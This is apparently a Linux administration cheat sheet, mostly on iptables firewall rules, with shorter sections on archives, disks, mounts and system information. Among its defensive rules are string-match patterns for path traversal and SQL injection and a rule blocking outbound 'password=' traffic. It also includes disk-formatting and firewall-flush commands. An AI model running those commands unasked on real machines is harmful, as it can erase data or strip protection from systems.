gzip -r directory/         # Compress all files in directory
gzip -c file.txt > file.txt.gz  # Keep original

zip archive.zip files      # Create zip
zip -r archive.zip dir/    # Recursive zip
unzip archive.zip          # Extract zip
unzip -l archive.zip       # List contents
unzip archive.zip -d /dest # Extract to directory

# Examples
zip -r backup.zip /home/user/Documents
unzip file.zip
zip -e secure.zip file     # Password protected

fdisk -l                   # List all disks and partitions
fdisk /dev/sda             # Open disk for partitioning

# Interactive commands (in fdisk):
# n - new partition
# d - delete partition
# p - print partition table
# w - write changes
# q - quit without saving

mount                      # Show mounted filesystems
mount /dev/sda1 /mnt       # Mount partition
mount -t nfs server:/share /mnt  # Mount NFS
mount -o loop disk.iso /mnt # Mount ISO
umount /mnt                # Unmount
umount -l /mnt             # Lazy unmount

# Examples
mount /dev/sdb1 /media/usb
mount -t cifs //server/share /mnt -o username=user
mount --bind /source /dest # Bind mount

mkfs.ext4 /dev/sda1        # Create ext4 filesystem
mkfs.xfs /dev/sda1         # Create XFS filesystem
mkfs.vfat /dev/sda1        # Create FAT filesystem

# Examples
mkfs.ext4 -L MyDisk /dev/sdb1  # With label
mkfs.ext4 -m 1 /dev/sdb1   # Reserve 1% for root

uname -a                   # All information
uname -r                   # Kernel release
uname -m                   # Machine hardware
uname -o                   # Operating system

lscpu                      # Detailed CPU info
lscpu | grep "CPU(s)"      # Number of CPUs

lsblk                      # List block devices
lsblk -f                   # Show filesystems
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT  # Custom columns

lspci                      # List PCI devices
lspci -v                   # Verbose output
lspci | grep VGA           # Graphics card info

lsusb                      # List USB devices
lsusb -v                   # Verbose output

hostname                   # Show hostname
hostname -I                # Show IP addresses
hostnamectl                # Detailed host information
hostnamectl set-hostname new-name  # Change hostname

date                       # Current date and time
date +%Y-%m-%d             # Custom format (2024-01-15)
date +%s                   # Unix timestamp
date -d "yesterday"        # Yesterday's date
date -d "next Monday"      # Next Monday

# Examples
date +%Y%m%d-%H%M%S        # 20240115-143025
date -d @1704067200        # Convert timestamp

uptime                     # How long system is running
uptime -p                  # Pretty format
uptime -s                  # Since when

# Sequential execution
command1 ; command2        # Run both regardless
command1 && command2       # Run command2 if command1 succeeds
command1 || command2       # Run command2 if command1 fails

# Examples
apt update && apt upgrade  # Update then upgrade
make || echo "Build failed"
cd /tmp && rm -rf old_files

# Output redirection
command > file             # Overwrite file
command >> file            # Append to file
command 2> file            # Redirect stderr
command > file 2>&1        # Redirect both stdout and stderr
command &> file            # Redirect both (shorthand)

# Input redirection
command < file             # Read from file
command << EOF             # Here document
multiline input

# View filter table
iptables -t filter -L -n -v
# or simply (filter is default)
iptables -L -n -v

# View NAT table
iptables -t nat -L -n -v

# View mangle table
iptables -t mangle -L -n -v

# View raw table
iptables -t raw -L -n -v

# View security table
iptables -t security -L -n -v

                               XXXXXXXXXXXXXXXXXX
                             XXX     Network    XXX
                               XXXXXXXXXXXXXXXXXX
                                       +
                                       |
                                       v
 +-------------+              +------------------+
 |table: filter| <---+        | table: raw       |
 |chain: INPUT |     |        | chain: PREROUTING|
 +-----+-------+     |        +--------+---------+
       |             |                 |
       v             |                 v
 [local process]     |        +------------------+
       |             |        | table: mangle    |
       |             |        | chain: PREROUTING|
       +-------------+        +--------+---------+
       |                               |
       v                               v
+--------------+              +------------------+
|table: filter |              | table: nat       |
|chain: OUTPUT |              | chain: PREROUTING|
+------+-------+              +--------+---------+
       |                               |
       v                               v
+---------------+            +--------------------+
|table: raw     |            | routing decision   |
|chain: OUTPUT  |            +--------+-----------+
+------+--------+                     |
       |                              |
       v                              +---------+---------+
+---------------+                     |                   |
|table: mangle  |                     v                   v
|chain: OUTPUT  |            +------------------+   +-------------+
+------+--------+            | table: filter    |   | table:filter|
       |                     | chain: FORWARD   |   | chain: INPUT|
       v                     +--------+---------+   +------+------+
+---------------+                     |                    |
|table: nat     |                     |                    v
|chain: OUTPUT  |                     |             [local process]
+------+--------+                     |
       |                              v
       v                     +-------------------+
+---------------+            | table: mangle     |
|table: mangle  |            | chain: FORWARD    |
|chain:POSTROUTE|            +--------+----------+
+------+--------+                     |
       |                              v
       v                     +-------------------+
+---------------+            | table: nat        |
|table: nat     |            | chain: POSTROUTING|
+------+--------+            +--------+----------+
       |                              |
       v                              v
       +------------------------------+
                     |
                     v
            +------------------+
            | table: mangle    |
            | chain:POSTROUTING|
            +--------+---------+
                     |
                     v
              XXXXXXXXXXXXXXXXXX
            XXX    Network     XXX
              XXXXXXXXXXXXXXXXXX

# List all rules in filter table
iptables -L

# List with line numbers
iptables -L --line-numbers

# List with numeric output (no DNS resolution)
iptables -L -n

# List with verbose output (packet/byte counters)
iptables -L -v

# List specific chain
iptables -L INPUT

# List specific table
iptables -t nat -L

# Combine options for best output
iptables -t filter -L -n -v --line-numbers

# Append rule to end of chain (-A)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT

# Insert rule at specific position (-I)
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT

# Insert at beginning (default position 1)
iptables -I INPUT -p tcp --dport 443 -j ACCEPT

# Delete by specification
iptables -D INPUT -p tcp --dport 80 -j ACCEPT

# Delete by line number
iptables -D INPUT 3

# Flush all rules in chain
iptables -F INPUT

# Flush all rules in table
iptables -F

# Flush all rules in all tables
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t raw -F

# Replace rule at specific line
iptables -R INPUT 2 -p tcp --dport 8080 -j ACCEPT

# Change default policy
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Save current rules (Debian/Ubuntu)
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6

# Save current rules (RedHat/CentOS)
service iptables save

# Restore rules
iptables-restore < /etc/iptables/rules.v4

# Restore with testing (flush on error)
iptables-restore --test < /etc/iptables/rules.v4

# Reset everything to defaults
iptables -F                    # Flush all rules
iptables -X                    # Delete all custom chains
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT       # Set default policies
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

# Allow specific TCP port
iptables -A INPUT -p tcp --dport 80 -j ACCEPT

# Allow specific UDP port
iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Allow port range
iptables -A INPUT -p tcp --dport 6000:6010 -j ACCEPT

# Allow multiple ports (requires multiport module)
iptables -A INPUT -p tcp -m multiport --dports 80,443,8080 -j ACCEPT

# Block specific port
iptables -A INPUT -p tcp --dport 23 -j DROP

# Allow source port
iptables -A INPUT -p tcp --sport 1024:65535 -j ACCEPT

# Allow all TCP
iptables -A INPUT -p tcp -j ACCEPT

# Allow all UDP
iptables -A INPUT -p udp -j ACCEPT

# Allow ICMP (ping)
iptables -A INPUT -p icmp -j ACCEPT

# Allow specific ICMP types
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT

# Block ICMP
iptables -A INPUT -p icmp -j DROP

# Allow GRE (VPN protocol)
iptables -A INPUT -p gre -j ACCEPT

# Allow ESP (IPsec)
iptables -A INPUT -p esp -j ACCEPT

# Allow from specific IP
iptables -A INPUT -s 192.168.1.100 -j ACCEPT

# Allow from subnet
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT

# Block specific IP
iptables -A INPUT -s 10.0.0.50 -j DROP

# Block subnet
iptables -A INPUT -s 172.16.0.0/16 -j DROP

# Allow to specific destination
iptables -A OUTPUT -d 8.8.8.8 -j ACCEPT

# Multiple source IPs (iprange module)
iptables -A INPUT -m iprange --src-range 192.168.1.100-192.168.1.200 -j ACCEPT

# Invert match (all except)
iptables -A INPUT ! -s 192.168.1.0/24 -j DROP

# Allow from specific interface
iptables -A INPUT -i eth0 -j ACCEPT

# Block from interface
iptables -A INPUT -i eth1 -j DROP

# Allow forwarding between interfaces
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT

# Allow from specific interface to specific destination
iptables -A INPUT -i eth0 -d 192.168.1.1 -j ACCEPT

# Wildcard interfaces
iptables -A INPUT -i eth+ -j ACCEPT  # eth0, eth1, eth2, etc.
iptables -A INPUT -i wlan+ -j ACCEPT  # wlan0, wlan1, etc.

# Allow established and related connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Alternative using state module (deprecated, use conntrack)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow new connections from specific IP
iptables -A INPUT -s 192.168.1.0/24 -m conntrack --ctstate NEW -j ACCEPT

# Drop invalid packets
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Allow only established connections
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT

# Allow specific MAC address
iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT

# Block MAC address
iptables -A INPUT -m mac --mac-source AA:BB:CC:DD:EE:FF -j DROP

# Allow MAC and IP combination
iptables -A INPUT -s 192.168.1.100 -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT

# SNAT to specific IP
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.1

# SNAT with port range
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.1:1024-65535

# SNAT to IP range (load balancing)
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.1-203.0.113.10

# SNAT for specific source network
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to-source 203.0.113.1

# Basic masquerading
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Masquerade specific subnet
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE

# Masquerade with port range
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE --to-ports 1024-65535

# Enable IP forwarding (required for NAT/masquerading)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Permanent: edit /etc/sysctl.conf
# net.ipv4.ip_forward = 1

# Forward port 80 to internal server
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100

# Forward port 8080 to port 80 on internal server
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80

# Forward from specific interface
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:443

# Load balance across multiple servers
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.5 -j DNAT --to-destination 192.168.1.100
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.101

# External port 2222 → Internal server port 22
# DNAT (redirect incoming)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 2222 -j DNAT --to-destination 192.168.1.100:22

# FORWARD rule (allow through firewall)
iptables -A FORWARD -p tcp -d 192.168.1.100 --dport 22 -m conntrack --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT

# SNAT/MASQUERADE (if needed for return traffic)
iptables -t nat -A POSTROUTING -o eth1 -d 192.168.1.100 -j MASQUERADE

# Redirect local port 80 to 8080
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-port 8080

# Redirect incoming to local port (transparent proxy)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3128

# Redirect from specific IP
iptables -t nat -A PREROUTING -s 192.168.1.0/24 -p tcp --dport 80 -j REDIRECT --to-port 8080

# Map external IP to internal IP (both directions)
# Incoming
iptables -t nat -A PREROUTING -d 203.0.113.1 -j DNAT --to-destination 192.168.1.100
# Outgoing
iptables -t nat -A POSTROUTING -s 192.168.1.100 -j SNAT --to-source 203.0.113.1

# Limit SSH connections (3 per minute)
iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min --limit-burst 5 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

# Limit ICMP (ping) requests
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# Limit HTTP connections
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT

# Per-IP rate limiting (requires recent module)
iptables -A INPUT -p tcp --dport 80 -m recent --name HTTP --set
iptables -A INPUT -p tcp --dport 80 -m recent --name HTTP --update --seconds 60 --hitcount 20 -j DROP

# Limit concurrent connections per IP (max 10)
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT

# Limit with specific message
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset

# Limit per subnet mask
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 5 --connlimit-mask 24 -j REJECT

# Limit SSH connections per IP
iptables -A INPUT -p tcp --dport 22 -m connlimit --connlimit-above 3 -j DROP

# SSH brute force protection
# Mark new SSH connections
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set --name SSH

# Block if more than 3 attempts in 60 seconds
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP

# Port scan protection
iptables -A INPUT -m recent --name portscan --rcheck --seconds 86400 -j DROP
iptables -A INPUT -m recent --name portscan --remove
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL ALL -m recent --set --name portscan -j DROP

# Show recent list
cat /proc/net/xt_recent/SSH

# Block HTTP requests containing specific string
iptables -A INPUT -p tcp --dport 80 -m string --string "GET /admin" --algo bm -j DROP

# Block specific user agent
iptables -A INPUT -p tcp --dport 80 -m string --string "User-Agent: BadBot" --algo bm -j DROP

# Case insensitive match
iptables -A INPUT -p tcp --dport 80 -m string --string "wordpress" --algo bm --icase -j LOG --log-prefix "WordPress access: "

# Block outgoing traffic containing password
iptables -A OUTPUT -p tcp -m string --string "password=" --algo kmp -j REJECT

# Allow SSH only during business hours
iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

# Allow on specific days (Mon-Fri)
iptables -A INPUT -p tcp --dport 22 -m time --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT

# Block during specific time range
iptables -A INPUT -p tcp --dport 80 -m time --timestart 02:00 --timestop 04:00 -j DROP

# Combine time and days
iptables -A FORWARD -m time --weekdays Mon,Tue,Wed,Thu,Fri --timestart 08:00 --timestop 18:00 -j ACCEPT

# Block traffic from specific country
iptables -A INPUT -m geoip --src-cc CN,RU -j DROP

# Allow only from specific countries
iptables -A INPUT -m geoip --src-cc US,CA,GB -j ACCEPT
iptables -A INPUT -j DROP

# Block to specific country
iptables -A OUTPUT -m geoip --dst-cc KP -j REJECT

# Allow only root to make connections
iptables -A OUTPUT -m owner --uid-owner 0 -j ACCEPT
iptables -A OUTPUT -j DROP

# Block specific user from internet
iptables -A OUTPUT -m owner --uid-owner 1001 -j REJECT

# Allow specific group
iptables -A OUTPUT -m owner --gid-owner 1000 -j ACCEPT

# Block by process
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.1.0/24 -j DROP

# Set TTL for outgoing packets
iptables -t mangle -A POSTROUTING -j TTL --ttl-set 64

# Increment TTL
iptables -t mangle -A POSTROUTING -j TTL --ttl-inc 1

# Decrement TTL
iptables -t mangle -A PREROUTING -j TTL --ttl-dec 1

# Match TTL value
iptables -A INPUT -m ttl --ttl-eq 64 -j ACCEPT
iptables -A INPUT -m ttl --ttl-gt 128 -j DROP

# Mark packets in mangle table
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j MARK --set-mark 1
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j MARK --set-mark 2

# Match marked packets
iptables -A FORWARD -m mark --mark 1 -j ACCEPT

# Use with connmark (mark entire connection)
iptables -t mangle -A PREROUTING -j CONNMARK --restore-mark
iptables -t mangle -A PREROUTING -m mark --mark 0 -p tcp --dport 80 -j MARK --set-mark 2
iptables -t mangle -A PREROUTING -j CONNMARK --save-mark

# View current connections
conntrack -L

# View specific protocol
conntrack -L -p tcp

# View connections by IP
conntrack -L -s 192.168.1.100
conntrack -L -d 192.168.1.100

# Count connections
conntrack -L -o extended | wc -l

# View connection statistics
cat /proc/net/nf_conntrack

# View conntrack limits
sysctl net.netfilter.nf_conntrack_max
sysctl net.netfilter.nf_conntrack_count

NEW → ESTABLISHED → (optional) RELATED → FIN_WAIT/CLOSE_WAIT → TIME_WAIT → CLOSED

# Increase connection tracking table size
sysctl -w net.netfilter.nf_conntrack_max=262144

# Timeout settings (seconds)
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=7200
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=120
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_close_wait=60
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_fin_wait=120

# UDP timeouts
sysctl -w net.netfilter.nf_conntrack_udp_timeout=30
sysctl -w net.netfilter.nf_conntrack_udp_timeout_stream=180

# Make permanent in /etc/sysctl.conf
cat >> /etc/sysctl.conf << EOF
net.netfilter.nf_conntrack_max = 262144
net.netfilter.nf_conntrack_tcp_timeout_established = 7200
net.netfilter.nf_conntrack_tcp_timeout_time_wait = 120
EOF

# Disable tracking for HTTP traffic
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK
iptables -t raw -A OUTPUT -p tcp --sport 80 -j NOTRACK

# Must also allow untracked traffic
iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate UNTRACKED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m conntrack --ctstate UNTRACKED -j ACCEPT

# List available helpers
cat /proc/net/nf_conntrack_helper

# Load FTP helper
modprobe nf_conntrack_ftp
modprobe nf_nat_ftp

# Load SIP helper
modprobe nf_conntrack_sip
modprobe nf_nat_sip

# Configure in iptables
iptables -A INPUT -p tcp --dport 21 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Create custom chain
iptables -N CUSTOM_INPUT

# Add rules to custom chain
iptables -A CUSTOM_INPUT -p tcp --dport 80 -j ACCEPT
iptables -A CUSTOM_INPUT -p tcp --dport 443 -j ACCEPT
iptables -A CUSTOM_INPUT -j DROP

# Jump to custom chain from main chain
iptables -A INPUT -j CUSTOM_INPUT

# List custom chain
iptables -L CUSTOM_INPUT -n -v

# Create logging chain
iptables -N LOG_DROP
iptables -A LOG_DROP -j LOG --log-prefix "IPTables-Dropped: " --log-level 4
iptables -A LOG_DROP -j DROP

# Use logging chain
iptables -A INPUT -p tcp --dport 23 -j LOG_DROP

# Create SSH protection chain
iptables -N SSH_PROTECT
iptables -A SSH_PROTECT -m recent --name SSH --set
iptables -A SSH_PROTECT -m recent --name SSH --update --seconds 60 --hitcount 4 -j LOG_DROP
iptables -A SSH_PROTECT -j ACCEPT

# Use SSH protection
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j SSH_PROTECT

# Create web service chain
iptables -N WEB_SERVICES
iptables -A WEB_SERVICES -p tcp --dport 80 -j ACCEPT
iptables -A WEB_SERVICES -p tcp --dport 443 -j ACCEPT
iptables -A WEB_SERVICES -p tcp --dport 8080 -j ACCEPT
iptables -A WEB_SERVICES -j RETURN

# Jump to web services
iptables -A INPUT -j WEB_SERVICES

# Must flush chain first
iptables -F CUSTOM_INPUT

# Then delete it
iptables -X CUSTOM_INPUT

# Delete all custom chains (careful!)
iptables -X

# Set restrictive default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# View current policies
iptables -L | grep policy

# Temporary accept-all (dangerous!)
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

#!/bin/bash
# Basic server firewall

# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Drop invalid packets
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Allow SSH (rate limited)
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow ping (limited)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s --limit-burst 3 -j ACCEPT

# Log dropped packets
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables-INPUT-dropped: " --log-level 4

# Save rules
iptables-save > /etc/iptables/rules.v4

# Create web protection chain
iptables -N WEB_PROTECT

# SYN flood protection
iptables -A WEB_PROTECT -p tcp --syn -m limit --limit 2/s --limit-burst 30 -j ACCEPT
iptables -A WEB_PROTECT -p tcp --syn -j DROP

# Connection limiting per IP
iptables -A WEB_PROTECT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset
iptables -A WEB_PROTECT -p tcp --dport 443 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset

# Block common attack patterns
iptables -A WEB_PROTECT -p tcp --dport 80 -m string --string "../../" --algo bm -j DROP
iptables -A WEB_PROTECT -p tcp --dport 80 -m string --string "SELECT * FROM" --algo bm -j DROP

# Rate limit new connections
iptables -A WEB_PROTECT -p tcp --dport 80 -m conntrack --ctstate NEW -m recent --set --name HTTP
iptables -A WEB_PROTECT -p tcp --dport 80 -m recent --update --seconds 60 --hitcount 50 --name HTTP -j DROP

# Accept legitimate traffic
iptables -A WEB_PROTECT -j ACCEPT

# Apply to INPUT
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j WEB_PROTECT

# Method 1: Using recent module
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 --name SSH -j LOG --log-prefix "SSH-brute-force: "
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Method 2: Using limit module
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m limit --limit 3/min --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j DROP

#!/bin/bash
# Home router configuration

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow from LAN
iptables -A INPUT -i eth1 -s 192.168.1.0/24 -j ACCEPT

# Allow forwarding from LAN to WAN
iptables -A FORWARD -i eth1 -o eth0 -s 192.168.1.0/24 -j ACCEPT

# NAT for LAN
iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE

# Port forwarding example (web server on 192.168.1.100)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
iptables -A FORWARD -p tcp -d 192.168.1.100 --dport 80 -j ACCEPT

# Allow DNS for router itself
iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Allow DHCP for router itself
iptables -A INPUT -p udp --dport 67:68 -j ACCEPT

# Save rules
iptables-save > /etc/iptables/rules.v4

# Allow docker containers to internet
iptables -A FORWARD -i docker0 -o eth0 -j ACCEPT
iptables -A FORWARD -i eth0 -o docker0 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE

# Expose container port
# Container 172.17.0.2:8080 → Host port 80
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.17.0.2:8080
iptables -A FORWARD -p tcp -d 172.17.0.2 --dport 8080 -j ACCEPT

# Isolate docker network from other networks
iptables -I FORWARD -i docker0 ! -o docker0 -j DROP
iptables -I FORWARD -i docker0 -o docker0 -j ACCEPT

# Simple round-robin load balancing
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 3 --packet 0 -j DNAT --to-destination 192.168.1.10:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 2 --packet 0 -j DNAT --to-destination 192.168.1.11:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.12:80

# Random load balancing
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.33 -j DNAT --to-destination 192.168.1.10:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.5 -j DNAT --to-destination 192.168.1.11:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.12:80

# Start with restrictive defaults
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT  # or DROP for maximum security

# Always allow loopback interface
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Always rate limit SSH
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 -j DROP

# Log before dropping
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables-denied: "

# WRONG ORDER (SSH rule never reached)
iptables -A INPUT -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# CORRECT ORDER
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP

# Best practice: specific rules first, general rules last
iptables -A INPUT -i lo -j ACCEPT                              # 1. Loopback
iptables -A INPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT # 2. Established
iptables -A INPUT -p tcp --dport 22 -j ACCEPT                  # 3. Specific services
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "dropped: "              # 4. Log
iptables -A INPUT -j DROP                                      # 5. Default deny

# Method 1: Auto-reset with at command
at now + 5 minutes <<< 'iptables -F; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT'
# Now test your rules; if you get locked out, rules reset in 5 minutes

# Method 2: Test script
#!/bin/bash
iptables-restore < /etc/iptables/test-rules.v4
echo "Rules applied. You have 60 seconds to test. Press Ctrl+C to keep, or wait to rollback."
sleep 60
iptables-restore < /etc/iptables/rules.v4
echo "Rolled back to previous rules"

# Method 3: iptables-apply (Debian/Ubuntu)
iptables-apply /etc/iptables/test-rules.v4
# Prompts for confirmation; auto-rollback if no response

# Backup current rules
iptables-save > /root/iptables-backup-$(date +%Y%m%d-%H%M%S).rules

# Restore from backup
iptables-restore < /root/iptables-backup-20250114-120000.rules

# Automated backup before changes
#!/bin/bash
BACKUP_DIR="/root/iptables-backups"
mkdir -p $BACKUP_DIR
iptables-save > $BACKUP_DIR/rules-$(date +%Y%m%d-%H%M%S).v4
# Keep only last 10 backups
ls -t $BACKUP_DIR/rules-*.v4 | tail -n +11 | xargs -r rm

# High-traffic rules at top
iptables -I INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Jump to specific chain early
iptables -A INPUT -p tcp --dport 80 -j WEB_CHAIN

# Use multiport instead of multiple rules
# INEFFICIENT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j ACCEPT

# EFFICIENT
iptables -A INPUT -p tcp -m multiport --dports 80,443,8080 -j ACCEPT

iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK

# Install persistence package
apt-get install iptables-persistent

# Save rules
netfilter-persistent save

# Manual save
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6

# Save rules
service iptables save
# Saves to /etc/sysconfig/iptables

# Enable on boot
systemctl enable iptables

# Create restore script
cat > /etc/iptables/restore.sh << 'EOF'
#!/bin/bash
iptables-restore < /etc/iptables/rules.v4
ip6tables-restore < /etc/iptables/rules.v6
EOF
chmod +x /etc/iptables/restore.sh

# Create systemd service
cat > /etc/systemd/system/iptables-restore.service << 'EOF'
[Unit]
Description=Restore iptables rules
Before=network-pre.target
Wants=network-pre.target

[Service]
Type=oneshot
ExecStart=/etc/iptables/restore.sh

[Install]
WantedBy=multi-user.target
EOF

systemctl enable iptables-restore.service

# Enable verbose logging for specific rule
iptables -A INPUT -p tcp --dport 80 -j LOG --log-prefix "HTTP-DEBUG: " --log-level 7

# Watch logs in real-time
tail -f /var/log/kern.log | grep iptables
# or
dmesg -w | grep iptables

# Trace packet path
# Add TRACE target in raw table
iptables -t raw -A PREROUTING -p tcp --dport 80 -j TRACE
